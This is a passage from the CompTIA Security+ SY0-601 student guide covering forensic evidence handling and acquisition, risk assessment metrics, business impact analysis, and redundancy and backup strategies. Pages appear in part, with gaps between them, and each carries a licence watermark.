must be able to summarize the basic concepts of collecting and processing forensic
evidence that could be used in legal action or for strategic counterintelligence.
Lesson Objectives
In this lesson, you will:
• Explain key aspects of digital forensics documentation.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
484 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 18A
Explain Key Aspects of Digital
Forensics Documentation
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 485
Legal Hold
Legal hold refers to the fact that information that may be relevant to a court case
must be preserved. Information subject to legal hold might be defined by regulators
or industry best practice, or there may be a litigation notice from law enforcement or
lawyers pursuing a civil action. This means that computer systems may be taken as
evidence, with all the obvious disruption to a network that entails.
Chain of Custody
Chain of custody documentation reinforces the integrity and proper handling of
evidence from collection, to analysis, to storage, and finally to presentation. When
security breaches go to trial, the chain of custody protects an organization against
accusations that evidence has either been tampered with or is different than it was
when it was collected. Every person in the chain who handles evidence must log the
methods and tools they used.
• Analysis methods must be repeatable by third parties with access to the same
evidence.
Defense counsel may try to use any deviation of good ethical and professional behavior
to have the forensics investigator's findings dismissed.
E-Discovery
A forensic examination of a device such as a fixed drive that contains Electronically
Stored Information (ESI) entails a search of the whole drive (including both allocated
and unallocated sectors, for instance). E-discovery is a means of filtering the relevant
evidence produced from all the data gathered by a forensic examination and storing
it in a database in a format such that it can be used as evidence in a trial. E-discovery
software tools have been produced to assist this process. Some of the functions of
e-discovery suites are:
• Identify and de-duplicate files and metadata—many files on a computer system are
"standard" installed files or copies of the same file. E-discovery filters these types of
files, reducing the volume of data that must be analyzed.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
486 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Security—at all points evidence must be shown to have been stored, transmitted,
and analyzed without tampering.
• Disclosure—an important part of trial procedure is that the same evidence be made
available to both plaintiff and defendant. E-discovery can fulfill this requirement.
Recent court cases have required parties to a court case to provide searchable ESI
rather than paper records.
Remember that if the matter comes to trial, the trial could take place months or years after
the event. It is vital to record impressions and actions in notes. Also consider that in-place
CCTV systems or webcams might have captured valuable evidence.
If possible, evidence is gathered from the live system using forensic software tools. It is
vital that these tools do as little to modify the digital data that they capture as possible.
As well as digital evidence, an investigator should interview witnesses to establish
what they were doing at the scene, whether they observed any suspicious behavior or
activity, and also to gather information about the computer system. An investigator
might ask questions informally and record the answers as notes to gain an initial
understanding of the circumstances surrounding an incident. An investigator must
ask questions carefully, to ensure that the witness is giving reliable information and
to avoid leading the witness to a particular conclusion. Making an audio or video
recording of witness statements produces a more reliable record but may make
witnesses less willing to make a statement. If a witness needs to be compelled to make
a statement, there will be legal issues around employment contracts (if the witness is
an employee) and right to legal representation.
Timelines
A significant part of a forensic investigation will involve tying events to specific times
to establish a consistent and verifiable narrative. The visual representation of events
happening in chronological order is called a timeline.
Operating systems and file systems use a variety of methods to identify the time at
which something occurred. The benchmark time is Coordinated Universal Time (UTC),
which is essentially the time at the Greenwich meridian. Local time is the time within a
particular time zone, which will be offset from UTC by several hours (or in some cases,
half hours). The local time offset may also vary if a seasonal daylight saving time is in
place.
NTFS uses UTC "internally" but many OS and file systems record time stamps as the
local system time. When collecting evidence, it is vital to establish how a time stamp is
calculated and note the offset between the local system time and UTC.
Forensics also needs to consider that a host's system clock may not be properly
synchronized to a valid time source or may have been tampered with. Most computers
are configured to synchronize the clock to a Network Time Protocol (NTP) server.
Closely synchronized time is important for authentication and audit systems to work
properly. The right to modify a computer's time would normally be restricted to
administrator-level accounts (on enterprise networks) and time change events should
be logged.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 487
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
488 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Digital forensics can be used for information gathering to protect against espionage
and hacking. This intelligence is deployed in two different ways:
• Counterintelligence—identification and analysis of specific adversary tactics,
techniques, and procedures (TTP) provides information about how to configure
and audit active logging systems so that they are most likely to capture evidence of
attempted and successful intrusions.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 489
Review Activity:
Digital Forensics Documentation
Answer the following questions:
3. Why might a file time stamp not show the time at which a crime was
committed?
4. You've fulfilled your role in the forensic process and now you plan on
handing the evidence over to an analysis team. What important process
should you observe during this transition, and why?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
490 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 18B
Explain Key Aspects of Digital Forensics
Evidence Acquisition
There are many processes and tools for acquiring different kinds of digital evidence
from computer hosts and networks. These processes must demonstrate exactly how
the evidence was acquired and that it is a true copy of the system state at the time
of the event. While you may not be responsible for leading evidence acquisition,
you should be familiar with the processes and tools used, so that you can provide
assistance as required.
3. Data on persistent mass storage devices (HDDs, SSDs, and flash memory devices):
• Partition and file system blocks, slack space, and free space.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 491
The Windows registry is mostly stored on disk, but there are keys—notably HKLM\
Hardware—that only ever exist in memory. The contents of the registry can be analyzed via
a memory dump.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
492 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Viewing the process list in a memory dump using the Volatility Framework.
(Screenshot Volatility Framework volatilityfoundation.org.)
Live Acquisition
A specialist hardware or software tool can capture the contents of memory while the
host is running. Unfortunately, this type of tool needs to be preinstalled as it requires a
kernel mode driver to dump any data of interest. Some examples for Windows include
WinHex (x-ways.net/winhex), Memoryze from FireEye (fireeye.com/services/freeware/
memoryze.html), and F-Response TACTICAL (f-response.com/software/tac).
On Linux, a user mode tool, such as memdump (porcupine.org/forensics/tct.html)
or dd, can be run against the /dev/mem device file. However, on most modern
distributions, access to this file is blocked. The Volatility Framework (github.com/
volatilityfoundation/volatility) includes a tool to install a kernel driver (pmem).
The fmem and LiME kernel utilities provide similar functionality.
Crash Dump
When Windows encounters an unrecoverable kernel error, it can write contents of
memory to a dump file at C:\Windows\MEMORY.DMP. On modern systems, there is
unlikely to be a complete dump of all the contents of memory, as these could take up
a lot of disk space. However, even mini dump files, stored in C:\Windows\Minidumps,
may be a valuable source of information.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 493
The pagefile/swap file/swap partition stores pages of memory in use that exceed
the capacity of the host's RAM modules. The pagefile is not structured in a way that
analysis tools can interpret, but it is possible to search for strings.
Using dcfldd (a version of dd with additional forensics functionality created by the DoD)
and generating a hash of the source-disk data (sda).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
494 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
3. A second hash is then made of the image, which should match the original hash
of the media.
4. A copy is made of the reference image, validated again by the checksum. Analysis
is performed on the copy.
In practical terms, the image acquisition software will perform the verification steps as part
of the acquisition process, but in theory you could use separate tools to perform each stage
individually.
Preservation of Evidence
The host devices and media taken from the crime scene should be labeled, bagged,
and sealed, using tamper-evident bags. It is also appropriate to ensure that the
bags have antistatic shielding to reduce the possibility that data will be damaged
or corrupted on the electronic media by electrostatic discharge (ESD). Each piece of
evidence should be documented by a chain of custody form which records where,
when, and who collected the evidence, who subsequently handled it, and where it
was stored.
The evidence should be stored in a secure facility; this not only means access control,
but also environmental control, so that the electronic systems are not damaged by
condensation, ESD, fire, and other hazards. Similarly, if the evidence is transported, the
transport must also be secure.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 495
Network
Packet captures and traffic flows can contain very valuable evidence, if the capture was
running at the right time and in the right place to record the incident. As with memory
forensics, the issue for forensics lies in establishing the integrity of the data. Most
network data will come from a SIEM.
Cache
Cache can refer either to hardware components or software. Software-based cache is
stored in the file system and can be acquired as part of a disk image. For example, each
brower has a cache of temporary files, and each user profile has a cache of temp files.
Some cache artifacts generated by the OS and applications are held in memory only,
such as portions of the registry, cryptographic keys, password hashes, some types of
cookies, and so on. The contents of hardware cache (CPU registers and disk controller
read/write cache, for instance) is not generally recoverable.
Using Autopsy for file carving a disk image. The selected Courses folder and the PDF files in it were deleted
and so are flagged as unallocated. Because this image was captured soon after deletion, the file contents
are easily recoverable, however. (Screenshot Autopsy—the Sleuth Kit sleuthkit.org/autopsy.)
Snapshot
A snapshot is a live acquisition image of a persistent disk. While this may have less
validity than an image taken from a device using a write blocker, it may be the only
means of acquiring data from a virtual machine or cloud process.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
496 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Firmware
Firmware is usually implemented as flash memory. Some types, such as the PC
firmware, can potentially be extracted from the device or from system memory using
an imaging utility. It likely will be necessary to use specialist hardware to attach the
device to a forensic workstation, however.
• Chain of custody issues are complex and might have to rely on the CSP to select and
package data for you. The process should be documented and recorded as closely
as is possible.
• Jurisdiction and data sovereignty may restrict what evidence the CSP is willing to
release to you.
• If the CSP is a data processor, it will be bound by data breach notification laws and
regulations. Coordinating the timing of notification and contact with the regulator
between your organization and the CSP can be extremely complex, especially if
there is an ongoing incident requiring confidentiality.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 497
Review Activity:
Digital Forensics Evidence Acquisition
Answer the following questions:
1. You must recover the contents of the ARP cache as vital evidence of a man-
in-the-middle attack. Should you shut down the PC and image the hard drive
to preserve it?
2. Which command line tool allows image creation from disk media on any
Linux host?
3. True or false? To ensure evidence integrity, you must make a hash of the
media before making an image.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
498 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 18
Summary
You should be able to explain key aspects of digital forensics, including the secure
acquisition and handling of evidence.
• Consider the order of volatility and potential loss of evidence if a host is shut
down or powered off.
• Deploy tools, such as WinHex, Autopsy, or FTK Imager, that can capture and
validate evidence from persistent and nonpersistent media.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 19
Summarizing Risk
Management Concepts
LESSON INTRODUCTION
If a company operates with one or more vulnerable business processes, it could result
in disclosure, modification, loss, destruction, or interruption of critical data or it could
lead to loss of service to customers. Quite apart from immediate financial losses arising
from such security incidents, either outcome will reduce a company's reputation. If a
bank lost its trading floor link to its partners, even for an hour, since the organization's
primary function (trading) would be impossible, huge losses may result. Consequently,
when planning a network or other IT system, you must perform risk management to
assess threats and vulnerabilities.
Analyzing risk plays a major role in ensuring a secure environment for an organization.
By assessing and identifying specific risks that can cause damage to network
components, hardware, and personnel, you can mitigate possible threats and establish
the right corrective measures to avoid losses and liabilities.
Lesson Objectives
In this lesson, you will:
• Explain risk management processes and concepts.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
500 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 19A
Explain Risk Management
Processes and Concepts
Most organizations have formal risk management policies and processes, both to
meet compliance requirements and to make the business secure. These policies and
processes are usually driven by frameworks and come with some standard terminology
to describe factors and procedures within the overall process. It is vital that you be
able to summarize the key concepts of risk management, so that you can participate in
these important assessments.
3. Identify threats—for each function or workflow, identify the threat sources and
actors that may take advantage of or exploit or accidentally trigger vulnerabilities.
For each business process and each threat, you must assess the degree of risk that
exists. Calculating risk is complex, but the two main variables are likelihood and impact:
• Likelihood of occurrence is the probability of the threat being realized.
• Impact is the severity of the risk if realized as a security incident. This may be
determined by factors such as the value of the asset or the cost of disruption if the
asset is compromised.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 501
Risk management is complex and treated very differently in companies and institutions
of different sizes, and with different regulatory and compliance requirements. Most
companies will institute enterprise risk management (ERM) policies and procedures,
based on frameworks such as NIST's Risk Management Framework (RMF) or ISO 31K.
These legislative and framework compliance requirements are often formalized as
a Risk and Control Self-Assessment (RCSA). An organization may also contract an
external party to lead the process, in which case it is referred to as a Risk and Control
Assessment (RCA).
A RCSA is an internal process undertaken by stakeholders to identify risks and the
effectiveness with which controls mitigate those risks. RCSAs are often performed
through questionnaires and workshops with department managers. The outcome of an
RCSA is a report. Up-to-date RCSA reports are critical to the external audit process.
Risk Types
General types of risks can be identified as arising from specific threat and vulnerability
scenarios.
External
External threat actors are one highly visible source of risk. You must also consider
wider threats than those of cyberattack. Natural disasters, such as the COVID-19
pandemic, illustrate the need to have IT systems and workflows that are resilient to
widespread dislocation. The most critical type of impact is one that could lead to loss
of life or critical injury. The most obvious risks to life and safety come from natural
disasters, person-made disasters, and accidents, such as fire.
Internal
Internal risks come from assets and workflows that are owned and managed by your
organization. When reviewing internal risks, it is important to remember that these can
be classed as malicious and accidental or non-malicious. Internal threats can include
contractors granted temporary access.
Multiparty
Multiparty risk is where an adverse event impacts multiple organizations. Multiparty
risk usually arises from supplier relationships. If a critical event disrupts a supplier or
customer, then your own organization will suffer. These are often described as ripple
impacts. For example, if one of your top five customers goes out of business because
of a data breach, your company will lose substantial revenue. Organizations in these
supply chain relationships have an interest in promoting cybersecurity awareness and
capability throughout the chain.
As an illustration of how risk assessments can change in view of multiparty
relationship, consider a company that makes wireless adapters, originally for use
with laptops. In the original usage, the security of the firmware upgrade process is
important, but it has no impact on life or safety. The company, however, earns a
new contract to supply the adapters to provide connectivity for in-vehicle electronics
systems. Unknown to the company, a weakness in the design of the in-vehicle system
allows an adversary to use compromised wireless adapter firmware to affect the car's
control systems. The integrity of the upgrade process now has an impact on safety, and
is much higher risk.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
502 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
music) and product designs and patents. If IP data is exfiltrated it will lose much of its
commercial value. Losses can be very difficult to recover in territories where there are
not strong legal protections.
Software Compliance/Licensing
Breaking the terms of the end user licensing agreement (EULA) that imposes conditions
on installation of the software can expose the computer owner to substantial fines.
License issues are most likely to arise from shadow IT, where users install software
without change control approval. Network inventory management suites can report
software installations on each host and correlate those with the number of license
seats purchased. Licensing models can also be complex, especially where virtualization
and the cloud are concerned. It is important to train the administrative staff on the
specific license terms for each product.
Legacy Systems
Legacy systems are a source of risk because they no longer receive security updates
and because the expertise to maintain and troubleshoot them is a scarce resource.
Quantitative risk assessment aims to assign concrete values to each risk factor. (Image © 123RF.com.)
Quantitative risk assessment aims to assign concrete values to each risk factor.
• Single Loss Expectancy (SLE)—the amount that would be lost in a single
occurrence of the risk factor. This is determined by multiplying the value of the
asset by an Exposure Factor (EF). EF is the percentage of the asset value that would
be lost.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 503
• Annualized Loss Expectancy (ALE)—the amount that would be lost over the
course of a year. This is determined by multiplying the SLE by the Annualized Rate
of Occurrence (ARO).
It is important to realize that the value of an asset does not refer solely to its material
value. The two principal additional considerations are direct costs associated with the
asset being compromised (downtime) and consequent costs to intangible assets, such
as the company's reputation. For example, a server may have a material cost of a few
hundred dollars. If the server were stolen, the costs incurred from not being able to
do business until it can be recovered or replaced could run to thousands of dollars.
In addition, that period of interruption where orders cannot be taken or go unfulfilled
leads customers to look at alternative suppliers, resulting in perhaps more thousands
of lost sales and goodwill.
The problem with quantitative risk assessment is that the process of determining and
assigning these values is complex and time consuming. The accuracy of the values
assigned is also difficult to determine without historical data (often, it has to be based
on subjective guesswork). However, over time and with experience, this approach can
yield a detailed and sophisticated description of assets and risks and provide a sound
basis for justifying and prioritizing security expenditure.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
504 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
In the quantitative approach, the Return on Security Investment (ROSI) can be determined
by calculating a new ALE, based on the reduction in loss that will be created by the security
controls introduced. The formula for calculating ROSI is: [(ALE – ALEm) – Cost of Solution] /
Cost of Solution, where ALE is the ALE before controls and ALEm is after controls.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 505
the revenue and withdraw it from sale. Obviously this would generate considerable bad
feeling among existing customers. Avoidance is not often a credible option.
Transference (or sharing) means assigning risk to a third party, such as an insurance
company or a contract with a supplier that defines liabilities. For example, a company
could stop in-house maintenance of an e-commerce site and contract the services to
a third party, who would be liable for any fraud or data theft. Specific cybersecurity
insurance or cyberliability coverage protects against fines and liabilities arising from
data breaches and DoS attacks.
Note that in this sort of case it is relatively simple to transfer the obvious risks, but risks to
the company's reputation remain. If a customer's credit card details are stolen because
they used your unsecure e-commerce application, the customer won't care if you or a third
party were nominally responsible for security. It is also unlikely that legal liabilities could be
completely transferred in this way. For example, insurance terms are likely to require that
best practice risk controls have been implemented.
Risk Acceptance
Risk acceptance (or tolerance) means that no countermeasures are put in place either
because the level of risk does not justify the cost or because there will be unavoidable
delay before the countermeasures are deployed. In this case, you should continue to
monitor the risk (as opposed to ignoring it).
Control Risk
Control risk is a measure of how much less effective a security control has become
over time. For example, antivirus became quite capable of detecting malware on the
basis of signatures, but then less effective as threat actors started to obfuscate code.
Control risk can also refer a security control that was never effective in mitigating
inherent risk. This illustrates the point that risk management is an ongoing process,
requiring continual reassessment and re-prioritization.
Risk Awareness
To ensure that the business stakeholders understand each risk scenario, you should
articulate it such that the cause and effect can clearly be understood by the owner
of the asset. A DoS risk should be put into plain language that describes how the risk
would occur and, as a result, what access is being denied to whom, and the effect to
the business. For example: "As a result of malicious or hacking activity against the
public website, the site may become overloaded, preventing clients from accessing
their client order accounts. This will result in a loss of sales for so many hours and a
potential loss of revenue of so many dollars."
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
506 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 507
Review Activity:
Risk Management
Processes and Concepts
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
508 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 19B
Explain Business Impact
Analysis Concepts
Business impact analysis informs risk assessment by documenting the workflows that
run the organization and the critical assets and systems that support them. Key metrics
quantify how much downtime those systems can withstand. As a security professional,
you will often be asked to produce this type of analysis.
The term continuity of operations planning (COOP) refers to the same sorts of activities
when undertaken by a government agency, rather than a business.
Functions that act as support for the business or an MEF but are not critical in themselves
are referred to as primary business functions (PBF).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 509
to hours for critical functions, 24 hours for urgent functions, seven days for normal
functions, and so on. MTDs vary by company and event. Each function may be
supported by multiple systems and assets. The MTD sets the upper limit on the
amount of recovery time that system and asset owners have to resume operations.
For example, an organization specializing in medical equipment may be able to
exist without incoming manufacturing supplies for three months because it has
stockpiled a sizable inventory. After three months, the organization will not have
sufficient supplies and may not be able to manufacture additional products,
therefore leading to failure. In this case, the MTD is three months.
• Recovery time objective (RTO) is the period following a disaster that an individual
IT system may remain offline. This represents the amount of time it takes to identify
that there is a problem and then perform recovery (restore from backup or switch
in an alternative system, for instance).
• Work Recovery Time (WRT). Following systems recovery, there may be additional
work to reintegrate different systems, test overall functionality, and brief system
users on any changes or different working practices so that the business function is
again fully supported.
• Recovery Point Objective (RPO) is the amount of data loss that a system can
sustain, measured in time. That is, if a database is destroyed by a virus, an RPO of
24 hours means that the data can be recovered (from a backup copy) to a point not
more than 24 hours before the database was infected.
For example, a customer leads database might be able to sustain the loss of a few
hours' or days' worth of data (the salespeople will generally be able to remember
who they have contacted and rekey the data manually). Conversely, order processing
may be considered more critical, as any loss will represent lost orders and it may be
impossible to recapture web orders or other processes initiated only through the
computer system, such as linked records to accounting and fulfillment.
MTD and RPO help to determine which business functions are critical and also to
specify appropriate risk countermeasures. For example, if your RPO is measured in
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
510 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
days, then a simple tape backup system should suffice; if RPO is zero or measured in
minutes or seconds, a more expensive server cluster backup and redundancy solution
will be required.
• The calculation for MTBF is the total time divided by the number of failures. For
example, if you have 10 devices that run for 50 hours and two of them fail, the
MTBF is 250 hours/failure (10*50)/2.
• The calculation for MTTF for the same test is the total time divided by the
number of devices, so (10*50)/10, with the result being 50 hours/failure.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 511
• Mean time to repair (MTTR) is a measure of the time taken to correct a fault so
that the system is restored to full operation. This can also be described as mean
time to "replace" or "recover." This metric is important in determining the overall
recovery time objective (RTO).
NIST has published a guide to resiliency and IT contingency planning (SP800-34), available
at nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-34r1.pdf.
Disasters
In terms of business continuity, a disaster is an event that could threaten mission
essential functions. For example, a privacy breach is a critical incident, but it is probably
not a direct threat to business functions. An earthquake that destroys a data center
is a disaster-level event. Disaster response involves many of the same principles and
procedures as incident response, but at a larger scale.
Person-Made
A person-made disaster event is one where human agency is the primary cause.
Typical examples other than devastating cybersecurity incidents include terrorism, war,
vandalism, pollution, and arson. There can also be accidental person-made disasters,
such as cutting through power or telecoms cabling.
Environmental
An environmental disaster, or natural disaster, is one that could not be prevented
through human agency. Environmental disasters include river or sea floods,
earthquakes, storms, disease, and so on. Natural disasters may be quite predictable
(as is the case with areas prone to flooding or storm damage) or unexpected, and
therefore difficult to plan for.
Most natural or environmental disasters can also have a human or artificial source. For
example, flooding might be more likely because dams are not adequately maintained; a
wildfire could be the result of arson or poorly maintained power infrastructure.
• Risk from disruption to utilities, such as electricity, water, and transportation. These
risks are higher in geographically isolated sites.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
512 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Who is responsible for doing what? How can they be contacted? What happens
if they are not available?
• Which functions are most critical? Where should effort first be concentrated?
• What resources are available? Should they be pre-purchased and held in stock?
Will the disaster affect availability of supplies?
3. Train staff in the disaster planning procedures and how to react well to change.
As well as restoring systems, the disaster recovery plan should identify stakeholders
who need to be informed about incidents with impacts to life and safety. There may
be a legal requirement to inform the police, fire service, or building inspectors about
any safety-related or criminal incidents. If third-party or personal data is lost or stolen,
the data subjects may need to be informed. If the disaster affects services, customers
need to be informed about the time-to-fix and any alternative arrangements that can
be made.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 513
Review Activity:
Business Impact Analysis Concepts
Answer the following questions:
2. True or false? RTO expresses the amount of time required to identify and
resolve a problem within a single system or asset.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
514 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 19
Summary
You should be able explain risk management, business impact analysis, and disaster
recovery planning processes and metrics.
• Identify threat and disaster scenarios, accounting for internal versus external,
environmental, person-made, site-specific risk assessment, multiparty, software
licensing/compliance, IP theft, and legacy systems.
• Define MTD, RTO, and RPO for each function and/or critical system and apply a risk
remediation technique (mitigation, transference, avoidance, or acceptance) that
meets these targets.
• Perform ongoing risk monitoring to determine residual risk and control risk.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 20
Implementing Cybersecurity Resilience
LESSON INTRODUCTION
Cybersecurity resilience means that even successful intrusions by threat actors have
limited impact on confidentiality, integrity, and availability. Provisioning redundancy in
storage, power, and network systems, plus effective backup procedures, site resiliency,
and effective procedures for change control and configuration management are crucial
in maintaining high availability.
Lesson Objectives
In this lesson, you will:
• Implement redundancy strategies.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
516 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 20A
Implement Redundancy Strategies
The output of risk assessments and business impact analysis will identify vulnerable
business processes. To reduce risks in these processes, you can make the IT systems
and other business systems that support them resilient to failure. You must be able
to install and configure the systems that provide redundancy for power supply,
networking, and storage systems.
High Availability
One of the key properties of a resilient system is high availability. Availability is
the percentage of time that the system is online, measured over the defined period,
typically one year. The corollary of availability is downtime, or the amount of time
for which the system is unavailable. The maximum tolerable downtime (MTD) metric
expresses the availability requirement for a particular business function. High
availability is usually loosely described as 24x7 (24 hours per day, 7 days per week) or
24x365 (24 hours per day, 365 days per year). For a critical system, availability will be
described as "two-nines" (99%) up to five- or six-nines (99.9999%):
System availability can refer to an overall process, but also to availability at the level of a
server or individual component.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 517
Elasticity refers to the system's ability to handle these changes on demand in real
time. A system with high elasticity will not experience loss of service or performance if
demand suddenly increases rapidly.
Power Redundancy
All types of computer systems require a stable power supply to operate. Electrical
events, such as voltage spikes or surges, can crash computers and network appliances,
while loss of power from brownouts or blackouts will cause equipment to fail. Power
management means deploying systems to ensure that equipment is protected against
these events and that network operations can either continue uninterrupted or be
recovered quickly.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
518 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Generators
A backup power generator can provide power to the whole building, often for several
days. Most generators use diesel, propane, or natural gas as a fuel source. With diesel
and propane, the main drawback is safe storage (diesel also has a shelf-life of between
18 months and two years); with natural gas, the issue is the reliability of the gas
supply in the event of a natural disaster. Data centers are also investing in renewable
power sources, such as solar, wind, geothermal, hydrogen fuel cells, and hydro. The
ability to use renewable power is a strong factor in determining the best site for new
data centers. Large-scale battery solutions, such as Tesla's Powerpack (tesla.com/
powerpack), may be able to provide an alternative to backup power generators. There
are also emerging technologies to use all the battery resources of a data center as a
microgrid for power storage (scientificamerican.com/article/how-big-batteries-at-data-
centers-could-replace-power-plants/).
A UPS is always required to protect against any interruption to computer services. A backup
generator cannot be brought online fast enough to respond to a power failure.
Network Redundancy
Networking is another critical resource where the a single point of failure could cause
significant service disruption.
For the system to be fault tolerant, the higher bandwidth must not be critical to the function.
Multiple switching paths require use of Spanning Tree Protocol (STP) to prevent loops.
Load Balancers
NIC teaming provides load balancing at the adapter level. Load balancing and
clustering can also be provisioned at a service level:
• A load balancing switch distributes workloads between available servers.
• A load balancing cluster enables multiple redundant servers to share data and
session information to maintain a consistent service if there is failover from one
server to another.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 519
Disk Redundancy
Disk and storage resources are critically dependent on redundancy. While backup provides
integrity for when a disk fails, to restore from backup would require installing a new
storage unit, restoring the data, and testing the system configuration. Disk redundancy
ensures that a server can continue to operate if one, or possibly more, storage devices fail.
RAID level 0 refers to striping without parity. Data is written in blocks across several disks
simultaneously, but with no redundancy. This can improve performance, but if one disk
fails, so does the whole volume, and data on it will be corrupted. There are some use cases
for RAID 0, but typically striping without parity is only implemented to improve performance
in a nested RAID solution.
Multipath
Where RAID provides redundancy for the storage devices, multipath is focused on
the bus between the server and the storage devices or RAID array. A storage system is
accessed via some type of controller. The controller might be connected to disk units
locally installed in a server, or it might connect to storage devices within a storage area
network (SAN). Multipath input/ouput (I/O) ensures that there is controller redundancy
and/or multiple network paths to the storage devices.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
520 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Geographical Dispersal
Geographical dispersal refers to data replicating hot and warm sites that are
physically distant from one another. This means that data is protected against a
natural disaster wiping out storage at one of the sites. This is also described as a geo-
redundant solution.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 521
Review Activity:
Redundancy Strategies
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
522 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 20B
Implement Backup Strategies
• In the long term, data may need to be stored to meet legal requirements or to
comply with company policies or industry standards. Any data that must be retained
in a particular version past the oldest sets should be moved to archive storage.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 523
Performing a backup using Acronis Backup. (Screenshot used with permission from Acronis.)
For these reasons, backups are kept back to certain points in time. As backups take up
a lot of space, and there is never limitless storage capacity, this introduces the need for
storage management routines to reduce the amount of data occupying backup storage
media while giving adequate coverage of the required recovery window. The recovery
window is determined by the recovery point objective (RPO), which is determined
through business continuity planning. Advanced backup software can prevent media
sets from being overwritten in line with the specified retention policy.
Backing up a domain controller using Acronis backup—The How Long to Keep field specifies the
retention period. (Screenshot used with permission from Acronis.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
524 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Backup Types
